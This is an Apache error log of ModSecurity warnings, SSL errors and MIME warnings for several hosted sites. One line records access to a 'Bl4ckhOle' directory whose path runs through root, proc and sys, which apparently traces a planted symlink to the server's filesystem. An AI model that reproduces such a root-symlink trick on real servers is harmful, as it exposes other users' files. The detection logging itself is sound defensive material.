[Fri Jul 17 09:25:12.034989 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almnoIl9vhFBGA6D8l9_bAAAAAw"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:25:12.134147 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnoOjME1mgqYZ5O94rcwAAAAE"]
[Fri Jul 17 09:25:12.134274 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnoOjME1mgqYZ5O94rcwAAAAE"]
[Fri Jul 17 09:25:12.134835 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnoOjME1mgqYZ5O94rcwAAAAE"]
[Fri Jul 17 09:25:12.643367 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnoOjME1mgqYZ5O94rcwAAAAE"]
[Fri Jul 17 09:25:12.843523 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:54936] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:25:13.731300 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:14.960299 2026] [security2:error] [pid 2028246:tid 2028246] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnojsMb3am0TgkjETgBAAAAAo"]
[Fri Jul 17 09:25:14.960478 2026] [security2:error] [pid 2028246:tid 2028246] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnojsMb3am0TgkjETgBAAAAAo"]
[Fri Jul 17 09:25:14.961340 2026] [security2:error] [pid 2028246:tid 2028246] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnojsMb3am0TgkjETgBAAAAAo"]
[Fri Jul 17 09:25:15.098456 2026] [security2:error] [pid 2028246:tid 2028246] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnojsMb3am0TgkjETgBAAAAAo"]
[Fri Jul 17 09:25:15.771446 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnoxHlOGcokz2QIwTYfgAAAAM"]
[Fri Jul 17 09:25:15.771574 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnoxHlOGcokz2QIwTYfgAAAAM"]
[Fri Jul 17 09:25:15.772578 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnoxHlOGcokz2QIwTYfgAAAAM"]
[Fri Jul 17 09:25:15.972831 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnoxHlOGcokz2QIwTYfgAAAAM"]
[Fri Jul 17 09:25:16.694483 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:17.352988 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:18.250733 2026] [security2:error] [pid 1993619:tid 1993619] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnpo1dLClkUfK_dfHqGQAAAAI"]
[Fri Jul 17 09:25:18.250889 2026] [security2:error] [pid 1993619:tid 1993619] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnpo1dLClkUfK_dfHqGQAAAAI"]
[Fri Jul 17 09:25:18.251785 2026] [security2:error] [pid 1993619:tid 1993619] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnpo1dLClkUfK_dfHqGQAAAAI"]
[Fri Jul 17 09:25:18.759395 2026] [security2:error] [pid 1993619:tid 1993619] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnpo1dLClkUfK_dfHqGQAAAAI"]
[Fri Jul 17 09:25:19.992405 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:20.596068 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnqOjME1mgqYZ5O94rdwAAAAE"]
[Fri Jul 17 09:25:20.596194 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnqOjME1mgqYZ5O94rdwAAAAE"]
[Fri Jul 17 09:25:20.596767 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnqOjME1mgqYZ5O94rdwAAAAE"]
[Fri Jul 17 09:25:20.715734 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnqOjME1mgqYZ5O94rdwAAAAE"]
[Fri Jul 17 09:25:22.344227 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:36212] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:25:22.398851 2026] [security2:error] [pid 2013829:tid 2013829] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnqg7FYe46zHK_jL3VXwAAABk"]
[Fri Jul 17 09:25:22.398957 2026] [security2:error] [pid 2013829:tid 2013829] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnqg7FYe46zHK_jL3VXwAAABk"]
[Fri Jul 17 09:25:22.399940 2026] [security2:error] [pid 2013829:tid 2013829] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnqg7FYe46zHK_jL3VXwAAABk"]
[Fri Jul 17 09:25:22.551634 2026] [security2:error] [pid 2013829:tid 2013829] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnqg7FYe46zHK_jL3VXwAAABk"]
[Fri Jul 17 09:25:22.558919 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:36234] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:25:23.069342 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.204.61.166:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "gnetuniversals.com"] [uri "/"] [unique_id "almnq41dLClkUfK_dfHqHAAAAAI"]
[Fri Jul 17 09:25:23.069719 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.204.61.166:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "gnetuniversals.com"] [uri "/"] [unique_id "almnq41dLClkUfK_dfHqHAAAAAI"]
[Fri Jul 17 09:25:23.080653 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.204.61.166:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "gnetuniversals.com"] [uri "/index.php"] [unique_id "almnq41dLClkUfK_dfHqHAAAAAI"]
[Fri Jul 17 09:25:23.592686 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:36306] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:25:23.856947 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnq7EWOaI5pmYo9fnUCAAAAAA"]
[Fri Jul 17 09:25:23.857074 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnq7EWOaI5pmYo9fnUCAAAAAA"]
[Fri Jul 17 09:25:23.857631 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnq7EWOaI5pmYo9fnUCAAAAAA"]
[Fri Jul 17 09:25:23.882595 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:23.949287 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:24.270268 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnq7EWOaI5pmYo9fnUCAAAAAA"]
[Fri Jul 17 09:25:24.564302 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:25.577750 2026] [security2:error] [pid 2030804:tid 2030804] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/desktop-computers"] [unique_id "almnrYe39YUk0SgV8AU_jgAAABE"]
[Fri Jul 17 09:25:25.577851 2026] [security2:error] [pid 2030804:tid 2030804] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/desktop-computers"] [unique_id "almnrYe39YUk0SgV8AU_jgAAABE"]
[Fri Jul 17 09:25:25.578239 2026] [security2:error] [pid 2030804:tid 2030804] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/desktop-computers"] [unique_id "almnrYe39YUk0SgV8AU_jgAAABE"]
[Fri Jul 17 09:25:26.023999 2026] [security2:error] [pid 2030804:tid 2030804] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnrYe39YUk0SgV8AU_jgAAABE"]
[Fri Jul 17 09:25:26.046907 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 57.141.18.26:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory135/node0/memory71/node0/memory52/node0/compact
[Fri Jul 17 09:25:27.018329 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
